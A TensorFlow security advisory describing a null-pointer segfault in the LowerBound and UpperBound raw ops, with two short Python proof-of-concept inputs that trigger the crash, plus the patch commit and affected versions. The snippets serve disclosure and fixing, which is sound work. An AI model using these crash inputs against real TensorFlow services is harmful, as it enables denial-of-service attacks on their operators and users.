TensorFlow vulnerable to segfault in `LowerBound` and `UpperBound`
Impact
If LowerBound or UpperBound is given an emptysorted_inputs input, it results in a nullptr dereference, leading to a segfault that can be used to trigger a denial of service attack.
```python
import tensorflow as tf
out_type = tf.int32
sorted_inputs = tf.constant([], shape=[10,0], dtype=tf.float32)
values = tf.constant([], shape=[10,10,0,10,0], dtype=tf.float32)
tf.raw_ops.LowerBound(sorted_inputs=sorted_inputs, values=values, out_type=out_type)
`
```python
import tensorflow as tf
out_type = tf.int64
sorted_inputs = tf.constant([], shape=[2,2,0,0,0,0,0,2], dtype=tf.float32)
values = tf.constant(0.372660398, shape=[2,4], dtype=tf.float32)
tf.raw_ops.UpperBound(sorted_inputs=sorted_inputs, values=values, out_type=out_type)
`
Patches
We have patched the issue in GitHub commit [bce3717eaef4f769019fd18e990464ca4a2efeea](https://github.com/tensorflow/tensorflow/commit/bce3717eaef4f769019fd18e990464ca4a2efeea).
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
